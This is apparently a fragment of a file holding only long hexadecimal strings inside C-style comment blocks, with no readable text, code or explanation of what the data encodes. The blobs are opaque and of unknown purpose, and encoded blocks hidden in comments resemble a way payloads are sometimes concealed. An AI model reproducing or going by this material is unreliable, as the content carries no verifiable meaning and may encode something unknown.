d0f66f5f648f3fc47b8974281ff03ce7677edd7de257cbde27c8929dd9dc7197ff4685ba9ef6e5b919f10cb06b3c025c64a127a0a87edb4eb6aaa0ee1ded6750e5686106d95419dc22aa0ce4ac8849e4846c3847d9b446323da22ac76d1033b10b14471248dc4883084e7f0d90fd3c620182513e16cecd59771f73982d61f161222deb9ff22456da1a258ee6d8ff3373a4dda04db21a9fa9878d19c6838b93fa52676fa0e266a721d1b622f4c2290171bfb186596f0052f16a9072f3d658d26be7cd2c7261074260d78733e489e25b0c30b9c99f0efe856eeb6558101fbdfda41b96d011c40b7025a4cf4347b7d9ab7c9f33ef36e5e2623cb3ac5d3592b656527cbbec12a68e3d61de9dc2f5effd407b869a62f5c4def71ecf0b2e98e6fccadfbcd19523a287dd13a3a4b4829f3b251398b78e75c06367be8328b323e310cefe8a2f219bbb25ff038dfc8b8c02a124686d82664e5dbd91eb46179ec2e35806c565e7c545d611c74614ad7711592b07a240590bf658d632df6a027a649d4c9d76e144d3643ea472b5c734943e8ed4b847264ee37cb623ef7b3296dac33621aec8621012b8e08a5273041dcefafd29a76d2d60995bd37fb2e20e20235fbb1f3*/
/*272a09f835bfc011c2da0114242955c94babd73755112a0a6bd557b1c4321ae9e44e91fb52ae147c82aa1aa31535658c6d2d1ceb29413bc4d42d60972319c32cfc0c70d9d46570e687c5036bd994c4148f1ab1c1f2e3d0fe98642735460aca1ad7308bf90216589e8987cf97fb1c79ff55a949831aa53b8fa630c564ad9e47ff408660594b7d88f202a69dbf6483151f8b2748245d813763b1482302581efe4c3ba61f00aa23001282618ccc61541d337443fb6b7d464f7365e1f1bfb61902a86305b3331cfc75d1343bb615620da58e863d0f37286df76804338885ecbcdc7b35871ebf39fc498b1bc96efe3c7565e5f0e3573f31891b68e2895fdc2d518870fbefef7c1a2c16705c1a731c61c68eb32499667e7c7b68c7122a19a9992467cc6655b9e5d6c14e8fd98494cbb91e3b83c82be3ea13271645ef971ae8bece23341c4258b84ee5b22d183a0919d3bd235e53905461a28124b187efd8a0ca4c68d7f3591455db12d2b3a2634d4b9e07bfaf8351d2260ecfd2e776944209398789fc878793a08fa7ddb36f1fdefeb72fac3cd49684b662ed586b880041a076ca3b3fbb10dccc878be8857c0c42f563e638279a35839b83c07dfb029fc51552874cf1a37a900bdd1c592749d5e68e9941ffb9a99ce7fd882113c2557c661ad1bbd3d271b0a81d84798037a15733f2e17bc3ffaaf9f01234920c3815010e4ea2900a38be9403b93d98a397c90cd982b82ffaf63b049466e5739bf5c92c416cf7d1f21db2154b3da21c7b786723bdf6e5fa6dfbef232b75f5589e6066d6468cd122b0da2ecd09e07147b72e22a6b50a328ed24cfca8ad0d8d715f66b6cdbdb3ef880ad5a60b777e06bc23c09b2adcf07bb32a44dc8772207b56220bf32b1f5ba050f88b2500d33f410c17f45abffc854f11e6a7b6684308283b7a7f8e6ae7fe2efd431aaccb2e3f8945dea5541798adcafd6c0800391ad3f7890824c1ba24cf0d0a50f688029f049946d6e45c602025d147ebbb9eeaf85bee2a05f2e8ee9537add3fe0234cff5e558b2c52aab4ff816b540e2e58398884e7c5924a1288b69fb7ab5358162e9a011ff39f8afa4957a0f4b813e122388495eab0f1d45427eef1cf44da6a097fd389a181ccbf2503377ca61fe330449d016c3a8596d9a3c86b9ef6bc801ce07c49c38ab5b1256bb05bb2a29517a4a94046267ebfb681d0d6dd81ff4065b8e32407683480632c777af165cf115f76c295df1d1af1f5f6375c72e99bc2ed22aa21ee8ef06ad8323d53b253397fb62f94f4e9a3822cf7d13998a268777b780180d8bbb0086e0beee027cd4da454ae6cbd8935660fad5ef1f511dc5f767c9921efaa3c4e4292ace9e710a380db5cac9497bfed5c519127b60bfbeb62e551462f8127cb3b4b58d9824f02eea42365024d6ff8c2830e52d8722a70e27d36394682939163432187c6db01e87fb0dc4e07cb1996a88cc1e91a2a691fc8f2f82e8b92770bc6671b0410dbf02f04ff9f9d82d0c563e85e07b697a1dfe4a304bf229474ca6976f629b286712f9834233051c9d73dfae159b56aef3ac11ed86ab4b3f304620b2b01197846fb48e6c934894588868b5cfb6a03311f0e5dc22f9a25bdb47cea54f7c744ca503487d2077800439e19e976adbd8eb14871a0e61982fb59f621a0d50d73f24662fa180fdcf8cbe3ef0f09407c4d6c436d1e49b72d010defdc30f4de571970a681e09b60b46aaf91fc53c19b22d36f5df31b4f1ea1ebfbff02f93535d5fd3cfd413f26928e499660e6601e2838d1b63c4d1e24c5ab6ebbdb1449a2208ec831d54471a6fe29d76ec5636ca4b207b6ab7ff3e11ecb61e3df7ff55b6dce028d44434c5b6ee0aee827e589afac060634f30f766e4fb9dd9abf5aa0afa84806fd24f16cb9f509c343139f46ae83407fc4248727eac6efffc8db71618fe22b809354da7779140fe7dd222bfed197ca2959f4b59311ab272de4609873164a3f02cc75a24cce7bfb2f5a193dfc0944254fea9e494686ccd2bb4ff5ad62ec428def51c78c6eef606e9978afeeb32fb1ad7f00e91e7c7bd683f0ad7800ea95a88df9a2e7a90a87b2eeb7699154a37fb44ec4d7b8f8ee1de9d6b2898367a47d75d033812c13287ca79bc24934a8dd6f79b294f6b8bb73251eb06cbd8a7fb6c9bb5bf402099f5ac2d851b99f2514579736daa98bcbf72f3760795d36f1c4afc51e9e0b0145dbffa6b9f17813c7e0c64b3dbd477a2213a9c71af8beedaa88a0513113b3c6cca9b2a9dbfadf6503da83420e377f049f1de5a6bce6786067b230c060492b1b642fb9b7af9ae776ad60d5c5144c51da370188953b9c8ebc15ea94ce4962dbfc7080b1614340301511cc55e9cd5c98d6e3b86f2ac8825d43b8b031c221c788759bc1bd1be394a4c29a72b4bcfcb808ff3c477df81859c5442e375d140b844588306da6142b3f74a92e033bc9edde8cf1156c22304199b4e8c1729c936832a92b45cd47af4c23826149c905116dbd60ea7a9bec06ae7240101e59d803a8a5b51d6caa03a4a8673924a4dfc0d1812389551942dc27417307294576a1c520e4c26f8064ef1eb61eb8c54a90607ff503e707ed2ccbccee363d3483667ca69756703ec1f96c3a05e241ecd72b1e2ce8a3a08c58da6990e273d35a12ad30288e82afb173b92d2c31271bbd259ccc81d30874f8365cdbf19aa88c2170e8d79b6c2033ed79543bc7680a449037f2ae594ea0b5f9ee4bfbb93877dbb4fc059e5f69c3e67e095ecf1566ed8586898377a0383c8456d1cca806faee7a05c234233e3e2a15e98d56764117edcc8e1e0dbdb79*/
/*35f284ab141246125c181954ecb3aa0a734cc09da292b5ee00b0b6da2c0ac77e8b6e9a9d838e56443c39726652f3a8704e8e91e2b66a18c39f913c34a8fe2f2702bb4028c17f9bd5e6f39cbacfc60bf96cb511c87df4a2b1030ed88857e5131ed5418d77b1401c7b260f501a08ab5bb023170c207499a1c44ed3e5e0db3a18bfaf2541d65476157b4fa41706b63134aec486e772ab95e40456da6daa61fbbd4fe32a2af1736ed139c843dc73246e4e171ef3d0b6df89536ca6f1a38a477b361e8341441b10d5fbe99d65ec5b3fed8cb8291db946b1501d43e53456b899bcce7517d3350e8be714847dcd59958f889ea2c4ef282408db4930d7a5ce7a283991e715e1afc27a8e82a98caba011246816d3638c939300e69579d37d93a3b4f8d423673396b2495990a060a80e02aab807d2adf3da1a3e4507e4dd27d9bc2bebd622232be037aeeca59716fd2ec0d92edcddb2c0559bb5091ccda9c7ed673af31671c839048cb250037fb96d5f9c9959cca77a78a53b399a5a01d3cf57a5d822ee75da493ef9cd59044f1a8bb4fd343148f2e1c6dbc3b984be5030d06552ce716e45d81febfd0a10e7e5745a6e103c90147d6fa1319c5873319b263b9bbf6e1ef1a8cf12bfe1d62f3f772097e4a4d0ad833600925090a84e7fc6e7bea95bb1303d820828846698aa0008fa018a1c55f8431c7feb5356c873c3c84b118ed22e1a76b46529bc44810fe742bcfc2d904fe71f8ee0772e02e7aa24b9b80bccb32df7d10c66ab46c0dcdb655161e47224ef73bbd0bb4eec49ec9a1c20be43558234ce22132a22068e4b2c372fbf59358037cae680c986cec78d4dae63a52e36f51c6c9a0593310fd4eabca3c2213921d83b6316f3068a8e22013964eab22b6bbc5241577095e2d7b4da0aea77bba77a223c44b9b0cdbf9708c0867f07124ee9a3db119a058cb6c9bffe3862ea0161f2d9be6cc0687c26a115ae7f122b63da9f6508071751b663d8bed0a17bf8b47adbbe75bf88cdef97fa7a3b1296e30757bd92dc6b3862b7f6792201f0a5f0f929a9cd1de544283ab045932e7aec46965a37f23b50b64f752b1eac5938a089bef871b8bb37c942f6db3ba91007434e8e49f6c283a3c301ee1582e9388ef54def8dcb0159b49b99108325ebd32c751406af73f7c5b45d3a68178976dab734a8fe89545b7bc7ce0bb93c78f6d1a68b3429aa65a3f21b979831694129b45fd31f14c72d66c7bcbc85587199b26a44d08e72a95405c9071acfe10f9d38d8c6be1a4289b9e870468c5fd6383641a0cdc4f1116fbbc7d0832c21b4e130999fbcd36014d28d7b1ae8af3b56d4f009676f60a46d497e56b93d283e2be2e9ec8f6f3171feab01c6513ccaaf1a502963f8f10479e621e970efc21449453cf7e240d33b4b4da52b3ddee98044dbdea2f7a4831056db208d52af12d70102eaff1c1f2b63ede9ef3896476287efa8d0a37c373fee4a0479a04904a6dded5c05d6f9e6a3d851b42c360ebd1f728642854fc12473eb477c7141c866ac08fa6c775ea501db952c09374d89de8bbc29e02fdf34c995d85ce0e3b707489662892be376e6e1d5ded445eb1e138050ce5938959ed7cb048876212031ea4a253563bf79286df90594bebb8e462beb1b0c06cc9551c3f6378d979762a57dcca1c2096991644198768340aa8a60c522b249310442a98cae8c0888f27c8543df0990b20f1a14fc7b60dfa039273978c56b0138af318b56bc0a6a3133aeee5fff74c099ae15598195b007cd48668263e2bc1648b230b75364fdb5d14fb495f806f8d1667ab452ceba0435296b4e16896b4441d8ebd7bd5c393c2e4ce40f7ada02c631e56c12f3c75e80d0832f09478e461e597c06adb53dbfa22e72676fb459bd0cfcdad906c40285e39a98fc285b8a7c8dff390f2723f751ec1510e7103360d57ff2af8934a349b0d4622287c217702ccf159f1c7c0cb1f65d7b01ac0e9e7273f47ffac48387c6e71afcfbfed024805b71aeb740e25c5feabdc4237cd9f4173727e3b4708a3e72ca815d9f194b08ae18c36745d6ab73991ba42ba06c50bc67aae22bdf686c3432368266b5ed34477183f77cf09e822255546adaebc16ea62f0820f6db1f070fb1bfe9bf04d104be6c09ed17a69238d4e34eb0deeb25cfda360789bb5f249411af521e2e9a3f309eae6ef77538526ccc0cca143b0f1ee27789200a7cdd23982daca80b6ee78bc50c117271e170316b5e8aedee0022b94d6b20d8855547d6420f298b200708c780817d28892a531feafd9dc2afc8847a085ab7b299a074c3f366c9e1825beb280c8dbd265884d3d0028d3fd7ac5e2d997e3eef61d5bd5ec0fb3f51389928d526a6ae4cdef4c101d0ce4ca2cceefa2c5ec9e42c001e0668dbbb98f43be3e46d4f97c595354e05c8ed1f3a176db934ecd7d5e4681f27daf8273f3d519f771ec61bf36a33b6afa369e441c0e2c67b0eeb5b343ce884978e8a86def2c0fe324ce6df4a114d1ebe2e4860d8b75a6589b8fea2543532a4b3492871dc9ad3bc612b629b69d7b80a7b3e9bff7caf10031f87c46c6fe07d26f8e7a544875b5e3d219801cf6733af1cfd05c8f912dc6f2bfc88de1ddee475d388b6fe955c204905966c03d806c5971b2ab1dcad35086658e9ab923f9e655f33f69a791af46469b6e82117e26db21188271d1096dce3d9c31530e5082d5f0e2560f07987e825e11536e1cee09bca796d00cf89d6e8ec666e671c8969a814e749b363674a7b887730e72402c12f9115d445f56745c14702418ddb458b26b3be3c4b12ce1e3197874c6ccb0afdd671b9de557ec1*/
/*2b748071b4d88f952566819bc7d1f01e7cea08eab00ab81fbd7522a26cfb167a034912cf52679a90899607f359845a71b58ec880c3a94dd0942428abb4aa6498cc8ef65af9bf014a693f3d84574b0604e6d6a40bca22632377427d0ac72932eb2c33ec7c395960a7c83a972a4066adde8c5781f463db5fcdd679ee4fc431e618bbf6d276b21c542102f79c8c8a4836c44a538f1ed688d6d33ef739745d356db8b5ce3ecc137b300567254d8804af8a317186c7a82e202e64eda0d568f8b155121c62c28732b8ba60410cd1a88ff27fedc6cd972319269d1b118129017683972074df83ec39d4b3aca3c4cbd8776ce247c44f5017acc8efc1e8e6d688fbf20c49c67da21951a89b1d2822f57f04e690d805287a155b8d73d0f3de1219bd11f113c42b0d5daaeafe2ebda06c4886cd1893f07741ff3ccfe7aef7966a7fbc7895df6b63cf0c5f1d1764cc919ace6a6dd7573cef75fe2ac392d3c098bc13c57d03706bcda7833a62d6cf470926f4ec35deaca8d9c0a1a5ca687086a550cf765150a34a260fa58210f431267526648e31c351404f3c5c7fb394f012ec2efb74d79103722bf908f4e509759b2cc4590f2d39ff65d8cd08cc71b049a39ef771faf4217edc6e74d237ec39258e115e2a98dedfb27066f0750134604aabed4675ca786410749e7ce895f7e9538692bce71daa876001b20f75766e003f6ef60244d7bd7474ec939c7354a0ce7942f4fc2f640fe98dd9cca2e8f2eaa1881ed3b954a5bd4699f6fef9d1f906d3429c383e1a4caac99c28a149f13cf8feaa695f2483bf260071166c8c5178b795449c9bb0a3cfb97de4a98def1192cb9ff486413d6389488917b08c0d09b62d6a7423c6086f026cff9e0c67b71c835a8f49bdec3fc258494d9e42c4e987aef7e67c8e0ba3144dbd6cafec6c92a2f8ca913b84528529591b1842e35ea8b85303de68bed46580f72906093a89d239ce81185b358274c9005acac1b5f08162d8c741ca5437f6a80ab222c77c5f09d543bba368da6a4a01409fad10b790e82d91f51ff549c6bc40c32608dde3296ad96f9339b5dd394a2b55ec92c8555527b094f55afafee2c32aa38cb425fd826ebf694b5f98e97ffa2864e21c6fe0740835ff8b4ffe45773623cb18494fd38bd33afdef0482a019c3173e2b2564860d8a34e95911f5541b1985c890fb2bd255fbc2eaecac4fc48feafe411807c98865f65979f17cb56202542f5b977fb6865ba429e344076cae8005ad31697611121a3b19895c773a0e6db211621dad0dae1b2a72f7a2e77666996fdab3a9a33bd9e3891153cc4a502bb45f070725e4e799b0095a3ebb3d79e80ccf49ee01bb3d831c506f0fb0ecfc4da132a6fbd4c00f22350f624726b1ccf649dbe99770200a9b9aa8e6ee904d472d65cc5c653af0e0d533fb0fa03617e50e57d0292c5153e18dd2aff819f0176453d030978ab7d7c3ad00ace99e27a5d393223afc566305b03e04c7ecabafea971c87231484f2b7fbdd3f924d08c40755c85a55681b3b2cd731ed35c60d354a9ee357d34eea5c40bad84a39f615eb2d37e0dc3411d90ad69f6364914150ee51c571267596d370f3a42dd52cd1a20d15733785d6e3f157625dd4cefc0e27e8549d7fef98eb5bf1fc984983609de00031fb35b2ffcd9be6d378d808851b734c3ff9de09c547ca5c32e022b193198d31d5c518cb27b9ef1490aaf2aed8b9c7a98a4b495ae396273c6535294abe1512507381771622fa6476a0b5ed4c70ccf5989ef9589489eb9a4f889b417b1b0c378dbd2ac9f9f5558422df644c98c148e82de648de923f631b2c6107a4e2e1b693bab5611ee59639f4d0ffb3ab864be842ac6700a753bb72e5638f67be86bef968759b6044cb5cea1efc1bfb9f760c52890228f8c4e62027f181652d6d524b39f51b2436d05c45b5190e09a861597bc205552d0656161734a13f76731b01d86a29c9097ec1a5fb52d944cb4f0aeb0408a40bd46b49bd70729a3293de84a071214fca43b290831b8de1f48e1ca352eb34e17537afd30e39a54a3b87faf907327c945734d59e73e07acf7e4e8585a4170ab05e831e7ff3b3c16e689b99369d69437073f35973cc74401220a6691e7b8a41a0b76cabd9268a591093ab4a43d5c5c1819398d560253a2032bb37a7c5ac4152708ec60ef3aed783625e828f69a2792c389e2e9ab77b6ef44a6e1ecb6e31d09c12b11d1853d282e831e02bfe2bf3d34924039f2287e4e808eb66ba93f09aa85bf1ca929dee83b0792358a9d2ca0b8f2a724531debb2e69a668db8c09036a6d6dbd0ad977b28f807fe96b0a8a43ba8dbf75976d9daee63a70dfc6e1fb488f5d073cadc11f9b9eb04e15a5ddfc77d5ba7462ae16c8e9beaf04486029b08a37349aa06ed5689ab9750e49c54aa10d5175250f7f27c764276bb8b5984e72d234253397116ed70d60901fdb111111805dd25b749c23c9e2edefda68b7470c4ed4ea6808ac1310cb1ed5a18c91ba5f4b7c4abc37604724e7f2042fdd650704c4af211062fb3c11d0a10908f860029dbbce737bd9d5e73d652f1ee6db3a3b7ef751dc46b3519667b7dc23673dc20d9393f9fe7438f3382b89d5ab772e7b71b9a1fc72802fafeaa8bfc04c69e60ce585eaecd7987a6f6194d973b9b2040ea7b094fccd3c6697f58201b45543dde3dbcadb68cea0f828932585df7228397f42d65eab77ebd65e2cc60fda5199c57dfb9b5a1ea6785f17eeca5c24deeae4e3ca0bf21de5895d8f151a6ba76a770954cac5765086f0a7ef94f10534a73c8258c05fad4434872689ed0250028682204e7968*/
/*de55e6dd9e1c86e4c1b99a123ab838084ed7b5952f38470cf0c6a724afa74b9eadc9a2d6daf39da8c431e345fdbb9de11c5a209d1d3f178d04cf7db199300c95ccbaf4c1e684b853332c8698e91d6e6d9c470dbf9a539b8e7488d224a07ed360705b301cf2468f2d14ec27f7a4b4b91ce97e150842ba7c9d5b707d48028522e862effef711807a2780ccbc4a9c8d26e13965cbc5e625d0034f582aebf3c9a071816046c898cb5e03da178af25e88649432ac2b39bc80e985ee6f0f1bfbeaffccca6938b6aea594169ab6e582e0e9f7038b623be60625f57c3a2b911bec2f1bd15a8843f1cbb5fe2dba67da32f4614a3168defd9e2b2ab3dd7f478bfe69f3c7f5a5a15384ec2af3ac10c0a2968fad8742b3f2c916382d93d9d98f4628867c0e9ee9659637702eeeac911a7b381b48cc5c8ad70101f4e648c7425485d7a072bfd36597d7fdf5711d775d00e4743b0342e7e47c40601dea9072a46303bbb86b56a1f7fe3fb56876c06110558fd35c7766a54c0dc216d707ff20d5f89b408c8b50b56eae56dfb9bd11a17ecc82934f79f052215e70e4381b28c5bd38fd294e291d24b97ddb78c0621e0087f004f41ccf3dff3f9f54d35d791a638a0c4c3fa56ad5026f8afc783b757c2cc164c5035998cf6c374646d00744ccc6f330c3e02ee982f408a9c584c335a25f6d0e40a91da41aa3d663d972f3b2c21edc795fc552fe034d38ae2f511c8c2b90366c76f07a4befc66e3eb0a89e253455140a160cdc79995cbbf0905e439638d7fe0e934bd345c120b59b89da3b60a865b4a2badfd1a7018d8978b67a6802b819e50b4833bf02f5f8a3c4a34c289f395cc36010db2195b501ec52df7adf768564409bb8e72d9cf1cb31e1c597f9a7695049aef23af6719b77efd26bc12606fdf4a68618f2a0e144d673475569e498bda1e7708ddbdbd17445d9ca8cbec8698963430ee0a13bc42cbb406e331dc5438e49583ffa1267715858c5706d294b835078e49f2ee213a6e74c2e4511715cf2cb599120f1c07e09581732cb00c3d25fe0f69b84b087c3588c929e5ac476e707d511c240318081b54fb8867d0d6bed22eae26621fa35badc0b6489ddd811a45543359454b32ba75d7c739e347b74900afc7f3bec4a753119990ddf6c185b22517a9a0fba999d90d50d36c3aeae4ed5113257e56d4956cd81a5549199592fdb7c7963c3faea7fa8305c00d481ad256dc56b69ec5a65ccf86a9ec4ecb0bb9cd977c5dcee127855a98c7d00652351c808b020ee5db597196ae003e8373b12a10115676ee836d98e74b27266a66ce11b9b526d4fcb1e4c02b1f9b37302ae89a4ff82d08e7126480f35745a5e23b7fea7de5059afcc1ff9daa39c44f9e429b1e63b763b3fb3d0200975b2dd1c25bf0d8f703e8455049903b4caa15d8276ee23fb91e22234370b213f0e6a0e637ea8a59599b5456ea52670d611bd036b0ca5df449a1a47d88626a1c73f26f929438971fd5acbe302f1ee1fd81d0b8f909ab2efd3439fe168778b5c2077ce3a514e469c702f4bae6499102848bcad88f3c4820ef68ff48099529a638ac47619bd12c5fcfdb2cd3c0c29777727cca30614d32ee88651a09ea8c0ae267fc2d67a9a5dc74c17fd1c230824726ff42a8408ca7e82b71d5dc4fa5f5185a8398f1d1f896d57cd5a8727745eb36d8535f98e5531ebc13cebec355fe04460140f7c8ed506b186936e6e6902dbc3f6ea23ff7888327f7e316b3828cda0b5b17fc031c400600dbe2abea84a0babde30e11759cca67d73be9fbabc7e22327f6baed7a0a0540cc5439e0e9fd251969c865cb8fdd7bf23e075bf7df31794af7f5d54099294777f0efb1fec10da835b626abdee545a4fc8a86843e5f925eafbe336e5c3a981e08d87c23f1522db8e345b88f4dbf79d57d8c2f91c842038b6c9a6aa7360b45abc7cedb9a1d0eb75c0240337482d9582dcb8da3d7c22e0831358edf5b5591dc801dbacedd1885907170557e607458ba4c0c9acc6f18be0761a5b80bcc3027be4d096974423cacdc04983e9b50890b4ebd25f7c4ae43e1d5cb963b2fa01c7780829aeeade6aa452733306e5c44821ddc0e6c7bb53cc7da3ba7a779dc9f5b929f25bd3d984df2fed97387846094d81310ca9dfb2e16439dad7e103e8c35367c8be2e215c40dc0668dfe9da130ebd92506b572bcffc8cdd486c122aae6e0c1154cb6507453ea7786d9d60ad50125900c8c86b858026ef18e5987c01f10567edc96c05c0a5986737eb692937f393b3a56232fc99a3e74bf1517a1e971da03692afc49aeb54f7dce942f3a4f92de3f15aa98867c270cf339284663d5871a446eabeefff795cc6e7dddee4a8f43ce40c34aa9dfb1d2bdf05e529838d17dff30803bcbf8916047f9622fed9f47d46df429ccb45f57f70144a6b39ce6b834226a93aa62c400c6554c1ce7e34e609ddba065e89662fe199c22be3ef064e8f923b31d0a0764a7090e05548b8e8f4c482dc878d7f1b6dbbe21fff6aec30ea0c623928f5428a0f6d1a560bea1cfa458fb3dfc7c5e5dca2ab590482b2bf6d4b8e11059fc09d04c21873651b41ffb7f40fbfdb3713af2865d28b407d22d8a548d4e51800b002c0d78608c38a7a67d7ee2747811a28fd414f0866aaa0c0ade7f689e3f443447c130a4acb761072553450d8b8022b576596fcac331e3eb940a1a6692c4e21f59e71b9fbdffb3b6fa4c9ee941b171ba489b65777e11943165b4d52fcdf602cb58f9b8693845e18c34790d5a523bbb9c53469cc29f6d86b2a9fb1c2ad4dbdc1782a920f33296172c9c9eac6bb5be8d8a0b574d763*/
/*d44ebc28d96f4d085e6f7463d9ec54a233d2ce985e8b388f48033358b99369fa653209e2bb3f091b94ef6fc7261ab642928edda177970bc43419cad23714139378e423a895e71b6576c73f92aaf148c26f1e22ddeab00f2da7a563f71725ba8be0ee759699cea47a9cca960389506397fb733506aeef64c57a26209cc2f301103eb7389018c279b51064447b5985acb10f9487654f95366d590703d854e73d8f5f0000636729d8870cbcb75bf722afdd8ebfb078f5f73f3d56a3d8a4290fc653146cd65743ebdadb0e46ace6571a02cdfdcab6188aa0413dd84a038a938b046cb5de0a3dc26e5432f2f08641105a7da9c6aac41871f2ce7c459b7d58ebac5da6e687a84ba650e4938e5d3ebcd663d2167763543e1fb0cfe8f8270bdc57aad19f4bfdc25d810b55b2526c5da066b381e3321c8c03181caded6455a918849dbe2ddacce3c09aa0c2ad81e0c7b4f46f3f5db656042a055aeb40714d49e877ecbae6832f5dd43ed4bac4e4b317aa0a3418ba4c56276cc60e29e0113fc30de41b8c516958c16f8962794a871876b315415f8b669b94a368cd94accafdcfb52c03de7c246e0ffb69f8a790386483f9c6eb823a1601c3aa13d12ffa5feaba266fdf4e90afcc5e98d8d63dff0f78ff2b3a03eff0a04badb7d50cb1f92dc1050ed2a9fbb6e0e14b3f058b297c95282e62a5672cee2faab222da2ad5fb932ac7a70166537b7482f1254e7fa176c2432d5cae4352101bf3dae6bf77ecc2121205ea58d98a2d291de64069f18d9abcd6505296ce50262a3a6971ae4b33274f946d15be6fac539474d5c60e5a9cb9b91e7ed436465a11301e8e729eed1d29e3242821bf3ef8030597a7678fe07759b7c8557d99584a845690b3a5bb83a834ebffbfba0f57e783f981c506f6c5249f6d6edc5af7646a780703406e0e5e36191c7eea9d9db05c48a465aff78aef7847745b8e9eedee746eb6d298712e81d391ea4339498c92d8f04a360ac767ebd2f182f2c45720a6db7585e8b8b567aed11cc1b93bc3ec350090bbb43f1fa5b2b0701a87639d96ca49d66be83def6474c95711d7a1b0bc8e9e95a8b1be858fc887abc82c06480ee3451f7a64e242953a71b0638cf7d7fe94973ed845f40f6a8796d2c649b2f6391b926263849586f2518844c8394f7f3ff61131f4e4494fb966ac5086d8677274abd0aea1b464809820fa265d17b032a934204e1bd48d692ba602eaac20bcbb352ec6e729ffa18a315bd74ef989423820340c5b13986f0850a212b79fd2c062cbbcb89153a639e8f3184760b8a2f9c86eff07350b7432576745885476eea01abdf06a1ce5ebac698b228db89f76345dbb1c825f96e39bd1d55dce1fa8374daa366cef7dd7f865d7e40c0787b1077e6221ffe968c3e51eaf53b445e9756d61a8f1a29161abde01422ef678e8e7cdea8a246e4d288211a3c3e0e15218e103611acaa289fd68bb128e826452ef5b63f1fec2344f2e60b994e243fbbc179c770552c63a609ef5e80b04cf51a794cf91674aac2ea8636562ade86adb317d9bd2496fb22487e7b657106515a84d25ca966005d75fa5446282c34b0dc71826a0bcbd815bbbbfa37253be95140c9f5239fdb762881c5b7976583eb02f65d626f83ef7cd4290027b88b425387fceba59419dd9c1d9f43d12aa6d2d6ad9aff80da4a571bb09caf392acf108670c7cd5edf35e1dc1c46f6c316b41e7c07b3dd5e5229b08785cd6144348d4bf8e309bb1ec0e4651f476e66be51ff7736631fca6ee00622d592be3543bf8e135d8d202f0d162fa7fff1538d3db46bcf72ef9f23f164705d24c67b70695d4f1a909ee6b05befcd1c3f1efee3dec2d8c0c65a6da03bfef292f941424a7778ff31771c736c49ecc334793c8695cf7eea1907364b3192a241cc7620ba1aaf021efef0262f6019e92ea3c02d15238bc2c6a93a8293be6cf7df2a2d31cd434f965098e86191afab8a97580b5352f87065edbc587d345cbde5e3b98ac7f2c13d1c12dd4ccd4069a1c885eb297b38dc3741df78c64a6ec08f3fa1039732ec87208ace68f004df67fed54e245bbffbeed6d4ca4c8f4c8f66b7852f6ed2495efe880eb25fb1e323e445023382f9a96ca322d4651fd46487a830619cf47fa248ed408f063f6c3c27ffeb2fd52a7a7750d946eae2baa1e8bd636979ce641df315d31273a693be94e79b9be483290d675f9d769f3d9c7cf4b27cb434085de329f6f3a7fb961925690b503a3f58f482daf3c17cfcf6f4a5fb11036cd90a063267d945661928616a80106a6443d91220714940fc7c56802dbd4a7ba3c11c5bff4c361975d681b9e7a96b5762a0b415af86563ec6730f1295f769740d511e545f986acfcf56ca199d29d0b7186b6bf723eb1b74ca79121553596ed22979e4a90a62da7d594900a73c8148a5c18b3f8e9f6386bd39dbc7c3a15a44f881ff7e1b6c1ef580b9c3bd16391d2dfec181702af637dbf98c747b24c7228d7248b0c4ec360db30ab922d353656f4d32b1e253d1c1b07c82378373a1829372df8fa00b670ed456f32196ded6d0d9454b612f08916a21e122ba56dff7711b15466eee35cc55d923577ab1a09463cbb8f49cf9d92d0becf20092f0b39664ab622e97b8316e786418bc8adf1b96d6f670c3204e81186c111bd0ee4ad3e8baa1d8bff2881d761ffce7f9df44d83711732ffb0ce2344ed9a05e3e527cbbb5a6ceab2186f2b906b9098037f98e06143ae0e8c88db784c0dc0f307e1e4b18209c4199ec2b500fd34a5ea56161559a97586384720731bf42cb7503aaf33996246ec5ae3c61d6047ffa8704edb31*/
/*a8b826d81b9e501b24533b8c37b9b3716932821396945fc51d8794241d7a81e11e40e6be9c60a02720f20466ecbf5207b746c2fb2e2f0d92440514a1215cb0bf2f503004aef9349195c57965b093afaa03c30d61e159edf123b58825197fc4a21fb1600d8edf9d636169f51feeb7e475997e725f64ce381717db3bb0aa982db45062de86211d0e1886992bdbda4fa1f3bcc304168e1d676a504e0f84abf00f4dbf7d2895c99263961463cd6320a43376ba297f1b8ad96b4752d6e18bd5d2885f07f4c499d6d9150b131ceda61610ca676633528e6408ee7c8f58685febd1a2970d4f75bc0becb223a2a6167c0861565a75e11c18dfa01f6f824bdbc730d4dd350ca3e8928349ebaca4857299745f1c63c6af70c6aa97937c3c433e9f3b535ef18881f8d2af878130fd347cff17248c9a8a56087101df42a4841a03ad1a803108085f88e321434d2dd1ddc1339cf85906cc5940f9a85df7792647f6f09159e63bb964df025bb946308bbb0cd52cc4f3a625042de82ddefcd6023106f73b408c359d28fbf8c94959bc70e4dfacd40964d03cc28ff6283c3742891bde09cccb84b18079f2594ece556c18b32d340c7b644a3e838f734b840daa3c1bf768941302cf7444b406270f49b3f147f83695cd75db0bd686d624dac88a95fc493565473884ed436ab127d5a7afaf9dffe389102d3edd801bc4f79a420f3a95b8c417b202e50ada09508c174120a96d6be52aa80a9e1664e242325fa2f14242a0b1d60078e45b30136ec1460e4e3633ddbf180a95f81bc2b539d2e84c02f7aeec0775820fb80c5ed62e64d6e1a5f96e265352cd0efd25aad57e6c44e0c44c0c5a1df8191468160c4c19b353ced11332570832d3ebc440e192ae5574c9bf13627caca3fd4fca2a6b5d2b49653fb9e8afb91e2cbab38d4f12951e6cc9638281039ba7ec3dd64ffa5c8c87cca5754195c36520e513e26393a16bbfe795d6ece51f85f9cb6731e3cb5b838f62153a128860e16fd8b015d4a57f8f3799645a1c0bc3234eaccf7ac8cf65571b1f1df92c88da56da2f394610f4202101dd1d5df2f978f11f6368e2a4b791aafdeb6a5b4016e906667469c5388c5a8c30180d3fc6a85a1c83aaa1caffbc6f5074a62941883a76470672c5baef2d42d3fcc5dd6460dac4f1bd98d4937f8e5777ed5b032c11161a8214d4a35e870dd3907644fbe432741077048e7142b00afbf069898d9ac5bc90e8c4659810c9b25198adcfe72bb68a01eb53054792eacd8b680f8e8752463fe10810006a3ef8b577a9eba80750cc181413532f569a7924b928efb7353f3d23534e0425ece63ca344776c36b6a81e54a9210e62276bc314df1fe8da56b7aee5d68bc452b04c7c472f70628756a98ae35a6407b14790564e7634b24dca0328590cf839714d26b1bd61097acd03c4b922817ed2a6465466a124e30d1d690c3b0a7d807169c07edef4bbd4f9c81bcd195c52aa81904816e6fe06c4fc69900cc38b72f68f889a29c8f7d7b8b4aeb737cfef468c9f95f5493593ccc8df06c4109961d592bcd0c3d5